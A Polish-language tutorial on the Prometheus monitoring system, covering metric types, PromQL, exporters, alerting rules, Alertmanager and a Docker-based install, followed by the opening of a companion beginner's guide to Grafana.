Żeby dobrze zrozumieć Prometheus, trzeba poznać sposób, w jaki opisuje dane. Każdy pomiar to nazwa metryki, zestaw etykiet, wartość liczbowa i znacznik czasu. Etykiety (ang. labels) to najważniejszy pomysł całego modelu: pozwalają ciąć tę samą metrykę na wymiary, bez zakładania osobnych metryk na każdy przypadek.

Anatomia szeregu czasowego oraz cztery typy metryk. Etykiety pozwalają jedną metryką opisać wiele wymiarów naraz.

Weźmy metrykę z naszej demonstracyjnej aplikacji: demo_http_requests_total liczy obsłużone żądania. Dzięki etykietom method, endpoint i status jednym zapytaniem policzymy żądania w rozbiciu na metodę, ścieżkę i kod odpowiedzi. Warto od razu poznać cztery typy metryk, bo pytają o nie na każdej rozmowie o monitoringu:

Counter (licznik) tylko rośnie i zeruje się po restarcie aplikacji. Nadaje się do zliczania zdarzeń: żądań, błędów, wysłanych wiadomości. Prawie zawsze ogląda się go przez funkcję rate(), o czym za chwilę.
Gauge (miernik) może iść w górę i w dół. To bieżąca wartość, na przykład zajęta pamięć, temperatura albo liczba zadań w kolejce.
Histogram wrzuca pomiary do przedziałów (kubełków), na przykład czasy odpowiedzi. Z histogramu wylicza się potem percentyle, czyli odpowiedź na pytanie w stylu "95 procent żądań było szybszych niż ile".
Summary (podsumowanie) jest podobny do histogramu, ale kwantyle liczy po stronie aplikacji. W praktyce częściej wybiera się histogram.

Skoro metryki są zwykłym tekstem, możemy je po prostu podejrzeć. Tak wygląda surowy format ekspozycji spod adresu /metrics naszej aplikacji. Linie zaczynające się od znaku kratki to opisy (HELP) i typy (TYPE), reszta to konkretne szeregi z wartościami:

Format ekspozycji /metrics naszej demonstracyjnej aplikacji. To zwykły tekst, więc podejrzysz go przeglądarką albo poleceniem curl.

Interfejs Prometheusa, czyli co widzisz po zalogowaniu

Prometheus działa w przeglądarce, domyślnie na porcie 9090. Nie ma logowania ani kolorowych dashboardów, bo do wizualizacji służy Grafana. Za to daje wszystko, czego potrzeba do sprawdzenia, co i jak jest zbierane. U góry mamy trzy miejsca: Query (zadawanie zapytań), Alerts (alerty) oraz rozwijane Status, w którym kryją się cele, wykrywanie celów, konfiguracja, reguły i stan bazy.

Query: zapytania w widoku tabeli i wykresu

Zakładka Query to serce interfejsu. Wpisujesz zapytanie w języku PromQL i oglądasz wynik na dwa sposoby. Widok Graph (wykres) pokazuje przebieg w czasie, jak na zrzucie otwierającym ten artykuł. Widok Table (tabela) pokazuje bieżące wartości wraz ze wszystkimi etykietami. Tu widać model danych jak na dłoni: jedna metryka, a pod nią wiele szeregów różniących się etykietami.

Widok tabeli dla jednej ścieżki. Każdy wiersz to osobny szereg, różniący się etykietami metody i kodu odpowiedzi.

Targets: czy cele odpowiadają

Strona Status, Target health to pierwsze miejsce, które sprawdzasz, gdy coś nie działa. Pokazuje wszystkie cele (ang. targets), pogrupowane w zadania (ang. jobs), wraz ze stanem UP lub DOWN, czasem ostatniego pobrania i etykietami. Na naszym środowisku Prometheus odpytuje cztery zadania: samego siebie, node_exporter (serwer), cAdvisor (kontenery) oraz naszą aplikację demo. Wszystkie są zdrowe.

Cele monitoringu. Zielony stan UP oznacza, że pobranie metryk się udaje. Widać też etykiety, które sami dołożyliśmy: env oraz team.

Wykrywanie celów i relabeling

Strona Service discovery pokazuje ciekawą rzecz: po lewej surowe etykiety, jakie cel miał w chwili wykrycia (zaczynają się od dwóch podkreśleń, na przykład __address__), a po prawej etykiety końcowe, już po przetworzeniu. To przetwarzanie nazywa się relabeling i pozwala dodawać, zmieniać albo odrzucać etykiety, zanim dane trafią do bazy. W dużych środowiskach to potężne narzędzie porządkujące, u nas wystarczy wiedzieć, że coś takiego istnieje.

Wykryte etykiety (po lewej) i etykiety końcowe (po prawej). Link "show relabeling" pokazuje, jak jedne zamieniają się w drugie.

Konfiguracja i stan bazy

W Status, Configuration podejrzysz aktualny plik konfiguracji tak, jak widzi go Prometheus: interwał pobierania, adres Alertmanagera, pliki reguł i listę zadań do odpytania. To wygodne, bo nie musisz zaglądać na serwer.

Aktywna konfiguracja Prometheusa w przeglądarce. Widać interwał pobierania, podpięty Alertmanager i plik reguł.

Z kolei Status, TSDB status pokazuje kondycję bazy: ile trzyma szeregów czasowych, które etykiety i metryki mają ich najwięcej. To ważna strona, bo liczba szeregów (tak zwana liczność, ang. cardinality) wprost przekłada się na zużycie pamięci. Na naszej małej instalacji baza trzyma już ponad pięć tysięcy szeregów, głównie z metryk kontenerów.

Stan bazy szeregów czasowych. Im więcej unikalnych kombinacji etykiet, tym więcej szeregów i tym więcej pamięci.

Jest jeszcze Status, Runtime and build info, gdzie sprawdzisz wersję Prometheusa, czas działania i ustawienia przechowywania danych. Przydaje się przy diagnostyce i zgłoszeniach.

Informacje o działającym Prometheusie: wersja, czas pracy i parametry przechowywania.

PromQL w praktyce, czyli język zapytań Prometheusa

Skoro Prometheus przechowuje dane, potrzebujemy sposobu, żeby o nie pytać. Służy do tego PromQL (Prometheus Query Language), czyli język zapytań Prometheusa. Ten sam język wpisujesz potem w panelach Grafany, więc nauka procentuje podwójnie. Zacznijmy od klasyka, czyli obliczenia bieżącego obciążenia procesora:

Kopiuj

100 - (avg(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)

Wygląda groźnie, ale mówi prostą rzecz: policz, jaki procent czasu procesor był bezczynny, i odejmij to od stu. Rozłóżmy zapytanie na części, bo to najlepszy sposób, żeby zrozumieć składnię:

Fragment	Co oznacza
`node_cpu_seconds_total`	Metryka z node_exportera: łączny czas pracy procesora w sekundach (licznik).
`{mode="idle"}`	Filtr etykiety. Bierzemy tylko czas, w którym procesor był bezczynny.
`[5m]`	Okno czasu. Patrzymy na ostatnie 5 minut historii tej metryki.
`rate(...)`	Tempo przyrostu na sekundę w tym oknie, czyli ile "bezczynności" przybywa co sekundę.
`avg(...)`	Uśrednienie po wszystkich rdzeniach procesora do jednej liczby.
`100 - (... * 100)`	Zamiana na procent i odjęcie bezczynności od stu, czyli procent obciążenia.

Dlaczego licznik ogląda się przez rate()

Najczęstszy błąd początkujących to rysowanie licznika wprost. Licznik tylko rośnie, więc jego wykres to nudna, wiecznie rosnąca linia, z której nic nie wynika. Interesuje nas tempo, czyli ile przybywa na sekundę. Do tego służy funkcja rate(). Ma jeszcze jedną supermoc: mądrze radzi sobie z restartem aplikacji. Gdy licznik nagle spada do zera, rate() rozumie, że to restart, a nie gigantyczny spadek, i nie psuje wyniku. Zobaczmy to na animacji:

Licznik mówi tylko "ile łącznie". Dopiero rate() zamienia go w "ile na sekundę" i przeżywa restart aplikacji.

W praktyce nie musisz pamiętać wszystkich nazw metryk. Interfejs podpowiada je w trakcie pisania: wystarczy zacząć wpisywać nazwę, a Prometheus pokaże listę pasujących metryk wraz z ich typem i krótkim opisem.

Podpowiedzi metryk podczas pisania. Widać nazwę, typ (licznik, miernik) oraz opis podpowiadany z pliku metryki.

Histogramy i percentyle

Metryki typu histogram pozwalają odpowiedzieć na pytanie, które w monitoringu pada najczęściej: jak szybko odpowiada usługa. Nie interesuje nas średnia, bo ta ukrywa problemy. Interesuje nas percentyl, na przykład 95. Funkcja histogram_quantile() policzy go z kubełków histogramu. Poniższe zapytanie zwraca czas, w którym mieści się 95 procent najszybszych żądań, osobno dla każdej ścieżki:

Kopiuj

histogram_quantile(0.95, sum by (le, endpoint) (rate(demo_request_duration_seconds_bucket[5m])))

percentyl czasu odpowiedzi, policzony z histogramu. Tak sprawdzamy, czy usługa jest szybka dla prawie wszystkich użytkowników.

Eksportery, czyli skąd biorą się metryki

Prometheus sam z siebie nie wie, ile pamięci zużywa serwer. Wie o tym system operacyjny. Rolą eksportera jest odczytać taki stan i wystawić go jako metryki pod adresem /metrics. To dzięki eksporterom Prometheus monitoruje praktycznie wszystko. Oto te, które spotkasz najczęściej:

Eksporter	Co udostępnia
node_exporter	Metryki serwera z systemem Linux: procesor, pamięć, dysk, sieć. Podstawa monitoringu maszyn.
cAdvisor	Zużycie zasobów w rozbiciu na poszczególne kontenery Dockera.
blackbox_exporter	Sprawdza dostępność z zewnątrz: czy strona odpowiada, czy certyfikat nie wygasa.
Eksportery baz danych	Gotowe dla PostgreSQL, MySQL, Redisa, Kafki i wielu innych systemów.
Biblioteki klienckie	Gdy chcesz metryki własnej aplikacji, dokładasz bibliotekę do kodu (Python, Java, Go, .NET).

W naszym środowisku demonstracyjnym korzystamy z node_exportera, cAdvisora oraz małej aplikacji w Pythonie, która przez bibliotekę kliencką udostępnia własne metryki. To ona produkuje liczniki i histogramy, które oglądaliśmy wyżej.

Reguły: zapisujące i alertujące

Prometheus potrafi liczyć nie tylko na żądanie, ale też w tle, według reguł zapisanych w pliku. Reguły dzielą się na dwa rodzaje:

Reguły zapisujące (ang. recording rules) liczą jakieś zapytanie z góry, w regularnych odstępach, i zapisują wynik pod nową, krótką nazwą. Dzięki temu ciężkie zapytanie liczy się raz, a panele i alerty korzystają z gotowego wyniku. To poprawia wydajność i porządkuje projekt.
Reguły alertujące (ang. alerting rules) sprawdzają warunek i, jeśli jest spełniony przez zadany czas, uruchamiają alert. To one budzą dyżurnego w środku nocy, gdy coś się psuje.

Na stronie Status, Rule health widać oba rodzaje reguł wraz z ich stanem. U nas mamy dwie reguły zapisujące i cztery alertujące, wszystkie zdrowe (OK):

Reguły w Prometheusie. U góry cztery reguły alertujące, niżej dwie zapisujące. Prometheus przelicza je co 15 sekund.

Alerty i Alertmanager, czyli monitoring, który sam Cię zawiadamia

Same wykresy to nie wszystko. Nikt nie wpatruje się w ekran przez dobę. Dlatego sercem monitoringu są alerty. Reguła alertująca w Prometheusie ma trzy stany: inactive (warunek niespełniony, spokój), pending (warunek właśnie się spełnił, ale jeszcze nie na tyle długo, żeby alarmować) oraz firing (alert aktywny). Ten środkowy stan chroni przed budzeniem wszystkich z powodu jednosekundowego skoku.

Na naszym środowisku celowo uruchomiliśmy dwie reguły, które się palą. Pierwsza to Watchdog, alert, który zawsze jest aktywny. Brzmi dziwnie, ale to znana dobra praktyka: skoro alert, który powinien palić się zawsze, nagle milknie, to znaczy, że popsuła się sama droga powiadamiania. Druga to HighErrorRate, która pilnuje odsetka błędów serwera. Nasza aplikacja demo celowo zwraca około 30 procent błędów, więc alert słusznie się zapalił i pokazuje realną wartość.

Dwa alerty w stanie firing. Prometheus pokazuje warunek, etykiety, opis i bieżącą wartość, tu odsetek błędów na poziomie ponad 30 procent.

Prometheus sam alertów nie wysyła. Od tego jest osobny program: Alertmanager. Prometheus przekazuje mu aktywne alerty, a Alertmanager decyduje, co z nimi zrobić. Jego zadania to:

Grupowanie podobnych alertów w jedno powiadomienie, żeby zamiast stu wiadomości przyszła jedna zbiorcza.
Trasowanie (ang. routing), czyli kierowanie alertu do właściwego odbiorcy: e-maila, Slacka, Microsoft Teams albo PagerDuty.
Wyciszanie (ang. silences) na czas planowanych prac, żeby nie dostawać alarmów o czymś, co sami wyłączyliśmy.
Tłumienie (ang. inhibition), czyli pomijanie mniej ważnych alertów, gdy pali się poważniejszy z tej samej przyczyny.

Tak wyglądają nasze dwa alerty po dotarciu do Alertmanagera. Widać, że zostały pogrupowane i przypisane do odbiorcy o nazwie zespol-devops:

Alertmanager odebrał alerty z Prometheusa, pogrupował je i przypisał do zespołu. Stąd trafiają dalej na e-mail albo Slack.

To jest właśnie sedno monitoringu. Interfejs pokazuje stan na życzenie, a Prometheus z Alertmanagerem same zawiadamiają, gdy dzieje się coś złego, nawet gdy nikt nie patrzy na ekran.

Prometheus a Grafana i inne narzędzia

Prometheus rzadko pracuje sam. Najczęściej zestawia się go z innymi narzędziami, a część z nich bywa z nim mylona. Uporządkujmy to.

Narzędzie	Jak się ma do Prometheusa
Grafana	Nie zbiera danych, tylko je rysuje. To najczęstszy partner Prometheusa: on jest źródłem, ona deską rozdzielczą.
InfluxDB	Też baza szeregów czasowych, ale domyślnie w modelu push i częsta w zastosowaniach IoT. Bezpośredni konkurent w warstwie przechowywania.
Zabbix	Kompletny system monitoringu z własnym interfejsem i alertami. Bardziej "wszystko w jednym", mniej elastyczny w metrykach aplikacji.
Datadog, New Relic	Płatne platformy w chmurze. Wygodne i bogate, ale kosztowne. Prometheus uruchomisz za darmo na własnym serwerze.
VictoriaMetrics, Thanos, Mimir	Rozwiązania do Prometheusa na dużą skalę: długie przechowywanie i łączenie wielu instancji w jedno.

Prometheus a Grafana

To para, którą najłatwiej pomylić, a różnica jest prosta. Prometheus zbiera i przechowuje dane, Grafana je pokazuje. Prometheus ma własny, skromny interfejs, który świetnie nadaje się do sprawdzania konfiguracji i szybkich zapytań, ale do codziennego oglądania metryk i budowania czytelnych dashboardów sięga się po Grafanę. Tak wygląda ten sam serwer, którego metryki zbiera nasz Prometheus, pokazany w gotowym dashboardzie Grafany:

Te same metryki, które zbiera Prometheus, narysowane w Grafanie. Prometheus jest źródłem danych, Grafana warstwą wizualizacji.

Jeśli chcesz zrozumieć drugą połowę tego duetu, mamy osobny, równie praktyczny tekst: Co to jest Grafana, przewodnik dla początkujących. Pokazujemy w nim krok po kroku, jak podłączyć Prometheus jako źródło danych i zbudować pierwszy dashboard.

Prometheus a InfluxDB

Oba to bazy szeregów czasowych, więc konkurują w warstwie przechowywania. Największa różnica to model zbierania: Prometheus domyślnie sam pobiera dane (pull), a InfluxDB częściej przyjmuje dane wysyłane do niego (push). Prometheus króluje w monitoringu infrastruktury i kontenerów, InfluxDB bywa wybierany w internecie rzeczy i tam, gdzie dane naturalnie płyną z urządzeń.

Prometheus a Zabbix

Zabbix to weteran monitoringu i rozwiązanie typu wszystko w jednym: sam zbiera dane, sam je pokazuje i sam alarmuje. Prometheus jest bardziej modułowy i mocniejszy w metrykach aplikacji oraz w świecie kontenerów. Co ciekawe, oba często łączy się z Grafaną, żeby mieć ładniejsze i bardziej elastyczne wykresy.

Jak zainstalować Prometheus i ile to kosztuje

Prometheus jest darmowy i otwartoźródłowy (na licencji Apache 2.0), także do zastosowań komercyjnych. Najszybciej uruchomisz go przez Dockera. Jedno polecenie i po chwili Prometheus działa pod adresem http://localhost:9090:

Kopiuj

docker run -d -p 9090:9090 --name prometheus prom/prometheus

W praktyce Prometheus rzadko działa sam. Zwykle idzie w parze z eksporterem metryk serwera. Poniższy plik docker-compose.yml stawia komplet: Prometheus oraz node_exporter, dokładnie taki, jakiego użyliśmy w tym artykule:

Kopiuj

services:
  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml:ro
    ports: ["9090:9090"]

  node-exporter:
    image: prom/node-exporter:latest
    ports: ["9100:9100"]

Do tego potrzebny jest krótki plik prometheus.yml, w którym mówimy, co odpytywać. Poniżej minimalny przykład: Prometheus monitoruje siebie oraz serwer przez node_exporter:

Kopiuj

global:
  scrape_interval: 15s

scrape_configs:
  - job_name: prometheus
    static_configs:
      - targets: ["localhost:9090"]

  - job_name: node
    static_configs:
      - targets: ["node-exporter:9100"]

A jak z kosztami? Sam Prometheus jest w pełni darmowy. Płatne bywają usługi zarządzane, które biorą Prometheus na siebie, żebyś nie musiał go utrzymywać, na przykład Grafana Cloud albo Amazon Managed Service for Prometheus. Na start i do średniej wielkości firm w zupełności wystarcza darmowa wersja na własnym serwerze.

Dobre praktyki dla początkujących

Zacznij od node_exportera. Postaw Prometheus z node_exporterem i zaimportuj do Grafany dashboard Node Exporter Full. W kwadrans masz komplet metryk serwera.
Liczniki oglądaj przez rate(). Nazwa kończąca się na _total to prawie zawsze licznik. Nie rysuj go wprost, użyj rate().
Uważaj na liczność etykiet. Nie wpisuj do etykiet wartości, które mają nieskończenie wiele wariantów, na przykład identyfikatora użytkownika. Każda nowa kombinacja to nowy szereg i więcej pamięci.
Trzymaj konfigurację jako kod. Pliki prometheus.yml i reguł wersjonuj w repozytorium, tak jak resztę infrastruktury.
Dodaj alert Watchdog. Zawsze aktywny alert, który milknie, gdy padnie droga powiadamiania, to najprostsza polisa na "monitoring, który sam się popsuł".

Najczęstsze problemy i jak je rozwiązać

Cel w stanie DOWN. Na stronie Targets kliknij błąd przy celu. Najczęściej to zła nazwa lub port, brak sieci między kontenerami albo aplikacja, która nie wystawia /metrics.
Zapytanie zwraca "no data". Sprawdź nazwę metryki (podpowiedzi pomagają) i zakres czasu. Bardzo często metryka istnieje, ale patrzymy na zły przedział.
Wykres licznika to prosta rosnąca linia. To znak, że zapomniałeś o rate(). Owiń metrykę w rate() z oknem, na przykład [5m].
Prometheus zjada pamięć. Zajrzyj do TSDB status i poszukaj metryk z ogromną liczbą szeregów. Prawie zawsze winna jest etykieta o zbyt wielu wartościach.

Słownik pojęć Prometheusa

Pojęcie	Co oznacza
Metryka	Liczbowy pomiar zapisywany w czasie, na przykład zużycie CPU.
Szereg czasowy	Ciąg pomiarów tej samej rzeczy, ułożony w czasie. Prometheus przechowuje właśnie szeregi.
Scrape	Pojedyncze pobranie metryk z celu przez Prometheus.
Cel (target)	Adres, spod którego Prometheus pobiera metryki. Cele grupuje się w zadania (jobs).
Eksporter	Program, który tłumaczy stan systemu na metryki i udostępnia je pod /metrics.
Etykieta (label)	Para klucz i wartość, która opisuje wymiar metryki, na przykład metodę czy kod odpowiedzi.
PromQL	Język zapytań Prometheusa, ten sam, którego używasz potem w Grafanie.
Alertmanager	Osobny program, który odbiera alerty, grupuje je i wysyła powiadomienia.
Liczność (cardinality)	Liczba unikalnych szeregów. Im wyższa, tym więcej pamięci zużywa Prometheus.

Podsumowanie

Prometheus to darmowy, otwartoźródłowy fundament nowoczesnego monitoringu. Sam co kilkanaście sekund pobiera metryki z serwerów i aplikacji (model pull), zapisuje je we własnej bazie szeregów czasowych i pozwala je odpytywać językiem PromQL oraz uruchamiać na ich podstawie alerty. Jego największe atuty to prostota startu (jeden proces, jeden plik), potężny model danych oparty na etykietach oraz ogromny ekosystem gotowych eksporterów. Prometheus zbiera i przechowuje dane, a do ich wygodnego oglądania dokłada się Grafanę. Te dwa narzędzia to dziś praktyczny standard.

Najlepszy sposób nauki to praktyka: postaw Prometheus i node_exporter przez Docker Compose, wejdź na stronę Targets, zadaj kilka zapytań z rate() i spróbuj napisać własny alert, dokładnie tak, jak pokazaliśmy w tym artykule. A jeśli chcesz przejść przez to z trenerem praktykiem i nauczyć się Prometheusa oraz całego monitoringu szybciej i w dobrze poukładanej kolejności, mamy dla Ciebie dwa szkolenia.

Chcesz opanować Prometheus od praktyka?

Poniżej dwa szkolenia JSystems. Pierwsze skupia się w całości na Prometheusie, drugie to szeroki monitoring i observability z Grafaną, Prometheusem, Lokim i Zabbixem. Oba mają termin gwarantowany, czyli odbywają się na pewno.

Szkolenie Monitoring serwerów i aplikacji: Prometheus ->

Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki i Zabbix ->

Co to jest Grafana? Kompletny przewodnik dla początkujących

Andrzej Klusiewicz — Mon, 24 Aug 2026 15:11:40 +0000

Ten przewodnik po Grafanie napisaliśmy od zera i pokazujemy w nim wszystko na prawdziwych zrzutach z działającej instalacji, którą postawiliśmy specjalnie na potrzeby tekstu. Wersja oryginalna jest na naszym blogu.

Jeśli słyszałeś, że Grafana to narzędzie, w którym zespoły DevOps oglądają kolorowe wykresy obciążenia serwerów, to dobry punkt startu, ale zaledwie ułamek prawdy. W tym przewodniku wyjaśnimy od zera, co to jest Grafana, do czego służy i jak działa, a wszystko pokażemy na przykładach. I nie na diagramach z internetu, tylko na prawdziwych zrzutach z działającej instalacji, którą specjalnie na potrzeby tego artykułu postawiliśmy na własnym serwerze: Grafana, Prometheus oraz kilka źródeł metryk.

Tak wygląda gotowy dashboard w Grafanie. To popularny "Node Exporter Full", który zaraz zbudujemy razem od podstaw. Wszystkie liczby są prawdziwe, pochodzą z monitorowanego serwera. Kliknij zrzut, aby powiększyć.

Grafana w pigułce: darmowe, otwartoźródłowe narzędzie do wizualizacji danych i monitoringu w czasie rzeczywistym. Samo nie przechowuje danych. Łączy się ze źródłami (na przykład z Prometheusem), odpytuje je i rysuje z nich dashboardy oraz wysyła alerty, gdy coś działa nie tak.

Z tego artykułu dowiesz się:

co to jest Grafana, do czego służy i dlaczego sama nie przechowuje danych,
czym Grafana różni się od Power BI, Prometheusa, Kibany i Zabbixa,
jak Grafana współpracuje ze źródłami danych i czym jest stos LGTM,
co to jest dashboard, panel, zmienna, alert i transformacja,
jak krok po kroku, na osiem kroków, zbudować pierwszy dashboard,
jak zaimportować gotowy dashboard i jak ustawić alert,
jak zainstalować Grafanę w minutę i ile to kosztuje.

Co to jest Grafana?

Grafana to otwartoźródłowa (open source, czyli o publicznie dostępnym kodzie) platforma do wizualizacji danych, monitorowania systemów i alertowania. Mówiąc prościej: Grafana zamienia surowe liczby, które produkują Twoje serwery, aplikacje i bazy danych, w czytelne wykresy, liczniki i tabele zebrane na jednej stronie zwanej dashboardem.

Kluczowa rzecz, którą warto zrozumieć od razu, bo odróżnia Grafanę od większości innych narzędzi: Grafana nie przechowuje danych. Nie jest bazą danych. Zamiast tego łączy się z zewnętrznymi źródłami danych (ang. data source), odpytuje je na bieżąco i rysuje wyniki. Dane fizycznie leżą gdzie indziej, a Grafana odpowiada wyłącznie za to, żeby ładnie i użytecznie je pokazać. To trochę jak deska rozdzielcza w samochodzie: sama nie produkuje prędkości ani obrotów, tylko odczytuje je z czujników i pokazuje kierowcy.

Krótka historia Grafany

Grafana powstała w 2014 roku. Stworzył ją szwedzki programista Torkel Ödegaard, a projekt wyrósł jako odgałęzienie interfejsu Kibany. Dziś rozwija ją firma Grafana Labs, a narzędzie stało się faktycznym standardem monitoringu w świecie DevOps. Używają go zespoły od małych startupów po największe firmy technologiczne, właśnie dlatego, że jest darmowe, elastyczne i potrafi połączyć w jednym miejscu dane z wielu różnych systemów naraz.

Grafana a Power BI, czym się różnią?

To jedno z najczęstszych nieporozumień, dlatego poświęćmy mu osobną sekcję. Grafana i Power BI na pierwszy rzut oka robią to samo, czyli pokazują dane na wykresach, ale służą do dwóch różnych rzeczy. Grafana to narzędzie do monitoringu i danych na żywo: patrzysz w nią, żeby wiedzieć, czy system działa w tej chwili, i dostać alert, gdy coś się psuje. Power BI to narzędzie do raportowania i analityki biznesowej: sięgasz po nie, żeby przeanalizować, jak szła sprzedaż w minionym kwartale. Poniżej najważniejsze różnice:

Cecha	Grafana	Power BI
Główny cel	Monitoring i dane na żywo	Raporty i analityka biznesowa
Rodzaj danych	Metryki i szeregi czasowe (na bieżąco)	Dane biznesowe, głównie historyczne
Odświeżanie	Sekundy, czas rzeczywisty	Zwykle okresowe (godziny, dni)
Typowy użytkownik	DevOps, SRE, administrator	Analityk biznesowy, controlling
Model i cena	Open source, darmowe, własny serwer	Komercyjne, licencja Microsoftu
Mocna strona	Alerty i monitoring 24 godziny na dobę	Modelowanie danych i raporty (DAX)

Nie musisz zresztą wybierać jednego kosztem drugiego. W wielu firmach działają obok siebie: Grafana pilnuje infrastruktury na żywo, a Power BI służy działowi biznesowemu do raportów. Co ciekawe, Grafana też potrafi rysować wykresy wprost z baz SQL, więc część zadań analitycznych obrobi, ale to nie jest jej główne przeznaczenie. Prosta zasada na koniec: jeśli pytasz "czy to działa w tej chwili", wybierasz Grafanę; jeśli pytasz "jak nam poszło w zeszłym miesiącu", sięgasz po Power BI.

Do czego służy Grafana? Najczęstsze zastosowania

Choć Grafana kojarzy się głównie z IT, jej zastosowania są znacznie szersze. Oto obszary, w których sprawdza się najlepiej:

Obszar	Przykłady użycia
IT i DevOps	Monitoring serwerów, kontenerów, Kubernetesa, baz danych i aplikacji. Szybkie wykrywanie awarii.
SRE i niezawodność	Śledzenie dostępności usług, celów SLO i czasów odpowiedzi.
Monitoring aplikacji (APM)	Liczba żądań, błędy, opóźnienia, wąskie gardła w kodzie.
Analityka biznesowa	Sprzedaż, liczba zamówień, ruch na stronie, wprost z baz danych firmy.
IoT (internet rzeczy)	Odczyty z czujników: temperatura, wilgotność, zużycie energii.

Jak działa Grafana? Architektura krok po kroku

Żeby Grafana miała co pokazać, ktoś musi najpierw te dane zebrać i gdzieś zapisać. Najpopularniejszy zestaw w monitoringu wygląda tak: metryki zbiera Prometheus (baza szeregów czasowych, czyli danych zapisywanych ze znacznikiem czasu), a Grafana je z niego wyciąga i rysuje. Oto cała ścieżka danych, którą warto zapamiętać:

Źródła danych

Serwery, aplikacje i bazy produkują metryki: zużycie CPU, pamięci, liczbę żądań.

Eksportery

Programy takie jak node_exporter udostępniają metryki pod adresem /metrics.

Prometheus

Co kilkanaście sekund pobiera metryki (tzw. scrape) i zapisuje je z czasem pomiaru.

Grafana

Odpytuje Prometheus językiem PromQL i rysuje panele, dashboardy oraz alerty.

Prometheus pilnuje, żeby faktycznie pobierać dane ze wszystkich celów (ang. targets). Na naszym środowisku widać to jak na dłoni: Prometheus odpytuje trzy zestawy metryk (node, cadvisor i samego siebie) i wszystkie są w stanie UP, czyli zdrowe.

Prometheus zbiera metryki z trzech celów. To on jest źródłem danych, z którego korzysta Grafana.

Stos LGTM, czyli Grafana i observability

W większych systemach nie wystarczą same metryki. Chcemy widzieć też logi (zapisy zdarzeń) oraz ślady (ang. traces, czyli droga pojedynczego żądania przez system). To podejście nazywa się observability (obserwowalność) i Grafana Labs ma na nie komplet własnych narzędzi, w skrócie LGTM:

L jak Loki to baza logów, czyli "Prometheus dla logów".
G jak Grafana to warstwa, w której wszystko oglądasz.
T jak Tempo to baza śladów żądań.
M jak Mimir to skalowalne przechowywanie metryk na dużą skalę.

Dla początkującego wniosek jest prosty: Grafana to nie tylko wykresy z jednego Prometheusa. To centrum dowodzenia, w którym w jednym miejscu łączysz metryki, logi i ślady z całej infrastruktury.

Interfejs Grafany, czyli co widzisz po zalogowaniu

Grafana działa w przeglądarce. Po jej uruchomieniu (domyślnie pod adresem serwera na porcie 3000) wita nas ekran startowy. Za pierwszym razem logujemy się kontem administratora.

Ekran startowy Grafany. Charakterystyczne pomarańczowe tło i znak w kształcie kompasu poznasz od razu.

Po zalogowaniu trafiamy na stronę główną. Najważniejszy jest lewy pasek nawigacji, bo to z niego korzystamy przez cały czas pracy. Znajdziesz w nim kilka stałych pozycji:

Dashboards to lista wszystkich dashboardów, czyli gotowych zestawów wykresów.
Explore pozwala szybko zadać jedno zapytanie i zobaczyć wynik, bez budowania całego dashboardu.
Alerting to reguły alertów oraz powiadomienia.
Connections to miejsce, gdzie podłączamy źródła danych.
Administration to ustawienia, użytkownicy, uprawnienia i wtyczki.

Strona główna świeżo zainstalowanej Grafany. Po lewej widać całe menu, po którym będziemy się poruszać.

Źródła danych, czyli serce Grafany

Skoro Grafana sama nie ma danych, pierwsza rzecz, jaką się w niej robi, to podłączenie źródła danych. W menu Connections znajdziemy katalog obsługiwanych źródeł. Grafana wspiera kilkadziesiąt z nich od razu po instalacji, a kolejne setki można dodać przez wtyczki.

Fragment katalogu źródeł danych. Widać między innymi Prometheus, Graphite, InfluxDB, Loki i Elasticsearch.

Oto najczęściej używane źródła danych i to, do czego się nadają:

Źródło danych	Do czego służy
Prometheus	Metryki systemów i aplikacji. Standard w monitoringu infrastruktury.
InfluxDB	Metryki i dane z czujników (IoT). Kolejna popularna baza szeregów czasowych.
Loki	Logi aplikacji. Rozwiązanie od Grafana Labs, "Prometheus dla logów".
Elasticsearch	Logi i pełnotekstowe wyszukiwanie dużych zbiorów danych.
PostgreSQL / MySQL / MS SQL	Dane biznesowe wprost z baz relacyjnych, odpytywane językiem SQL.
CloudWatch / Azure Monitor	Metryki usług chmurowych AWS oraz Azure.

My podłączamy Prometheus. Konfiguracja jest prosta: podajemy adres, pod którym działa nasze źródło, i zapisujemy. W tym przypadku Prometheus siedzi pod adresem http://prometheus:9090.

Konfiguracja źródła Prometheus. W polu adresu wpisujemy, gdzie działa nasze źródło danych.

Po zapisaniu i przetestowaniu połączenia źródło pojawia się na liście jako aktywne i domyślne. Od tej chwili Grafana ma z czego rysować.

Prometheus podłączony i oznaczony jako domyślne źródło danych.

Wtyczki, czyli jak rozszerzyć Grafanę

Jeśli jakiegoś źródła albo wykresu nie ma w Grafanie od razu, prawie na pewno znajdziesz je jako wtyczkę (ang. plugin). To dzięki wtyczkom Grafana obsługuje setki systemów, od baz danych, przez chmury, po narzędzia biznesowe. Wszystkie zebrane są w katalogu na grafana.com i widać je też bezpośrednio w Grafanie, w sekcji Administracja. Katalog liczy setki pozycji, więc naprawdę trudno trafić na system, którego nie da się podłączyć.

Katalog wtyczek wprost w Grafanie. Można filtrować po typie i jednym kliknięciem zainstalować wybraną wtyczkę.

Wtyczki dzielą się na trzy rodzaje:

Wtyczki źródeł danych (data source) dokładają nowe źródła, na przykład Zabbixa, Arkusze Google albo dowolne API zwracające dane w formacie JSON.
Wtyczki paneli (panel) dokładają nowe typy wizualizacji, na przykład rozbudowane wykresy, zegary czy mapy, których nie ma w standardowym zestawie.
Wtyczki aplikacji (app) to całe gotowe pakiety, które dodają do Grafany osobne strony i funkcje, na przykład rozwiązania do zarządzania alertami na dyżurze.

Instalacja jest prosta: w katalogu wybierasz wtyczkę i klikasz Install, a Grafana pobiera ją sama. Na własnym serwerze można też użyć polecenia grafana-cli plugins install albo wpisać listę wtyczek do konfiguracji, żeby instalowały się automatycznie przy starcie. Jedna ważna rada dotycząca bezpieczeństwa: instaluj przede wszystkim wtyczki podpisane (oznaczone jako Signed), pochodzące z oficjalnego katalogu, bo działają wewnątrz Twojej Grafany i mają dostęp do danych.

Dashboardy i panele, czyli z czego składa się Grafana

W Grafanie pracujemy na dwóch pojęciach:

Panel to pojedynczy kafelek, na przykład wykres, licznik albo tabela. Panel pokazuje wynik jednego lub kilku zapytań do źródła danych.
Dashboard to zestaw paneli ułożonych na jednej stronie, na przykład komplet wykresów opisujących kondycję jednego serwera.

